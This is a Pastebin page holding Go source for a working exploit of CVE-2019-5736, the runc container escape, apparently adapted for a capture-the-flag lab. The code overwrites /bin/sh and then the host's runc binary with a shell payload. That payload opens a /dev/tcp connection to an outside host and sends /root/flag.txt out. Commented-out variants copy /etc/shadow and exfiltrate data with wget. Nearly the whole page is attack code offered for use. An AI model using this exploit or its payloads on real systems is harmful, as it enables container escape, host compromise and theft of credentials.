Advertisement
Guest User

Docker RunC exploit jose.go

a guest
Jan 20th, 2020
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.72 KB | None | 0 0
  1. package main
  2.  
  3. // Implementation of CVE-2019-5736
  4. // Created with help from @singe, @_cablethief, and @feexd.
  5. // This commit also helped a ton to understand the vuln
  6. // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
  7. // Modified by josevnz@yahoo.com
  8. import (
  9. "fmt"
  10. "io/ioutil"
  11. "os"
  12. "strconv"
  13. "strings"
  14. )
  15.  
  16. // This is the line of shell commands that will execute on the host
  17. // var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
  18. // var payload = "#!/bin/bash \n /usr/bin/wget http://192.168.6.1/`cat /root/flag.txt|base64`"
  19.  
  20. var payload = "#!/bin/bash \n exec 3<>/dev/tcp/192.168.6.1/8000 && cat /root/flag.txt >&3"
  21.  
  22. func main() {
  23. fmt.Println("[+] Started script..., payload:", payload)
  24. // First we overwrite /bin/sh with the /proc/self/exe interpreter path
  25. fd, err := os.Create("/bin/sh")
  26. if err != nil {
  27. fmt.Println("[-] Failed to overwrite /bin/sh")
  28. fmt.Println(err)
  29. return
  30. }
  31. fmt.Fprintln(fd, "#!/proc/self/exe")
  32. err = fd.Close()
  33. if err != nil {
  34. fmt.Println("[-] Cannot get fd for /proc/self/exe")
  35. fmt.Println(err)
  36. return
  37. }
  38. fmt.Println("[+] Overwritten /bin/sh successfully")
  39.  
  40. // Loop through all processes to find one whose cmdline includes runcinit
  41. // This will be the process created by runc
  42. var found int
  43. for found == 0 {
  44. pids, err := ioutil.ReadDir("/proc")
  45. if err != nil {
  46. fmt.Println("[-] Cannot read /proc")
  47. fmt.Println(err)
  48. return
  49. }
  50. for _, f := range pids {
  51. fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
  52. fstring := string(fbytes)
  53. if strings.Contains(fstring, "runc") {
  54. fmt.Println("[+] Found the PID:", f.Name())
  55. found, err = strconv.Atoi(f.Name())
  56. if err != nil {
  57. fmt.Println("[-] Cannot convert PID for runc")
  58. fmt.Println(err)
  59. return
  60. }
  61. }
  62. }
  63. }
  64.  
  65. // We will use the pid to get a file handle for runc on the host.
  66. var handleFd = -1
  67. for handleFd == -1 {
  68. // Note, you do not need to use the O_PATH flag for the exploit to work.
  69. handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
  70. if int(handle.Fd()) > 0 {
  71. handleFd = int(handle.Fd())
  72. }
  73. }
  74. fmt.Println("[+] Successfully got the file handle")
  75.  
  76. // Now that we have the file handle, lets write to the runc binary and overwrite it
  77. // It will maintain it's executable flag
  78. for {
  79. writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
  80. if int(writeHandle.Fd()) > 0 {
  81. fmt.Println("[+] Successfully got write handle", writeHandle)
  82. writeHandle.Write([]byte(payload))
  83. fmt.Println("[+] Wrote payload...")
  84. return
  85. }
  86. }
  87. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement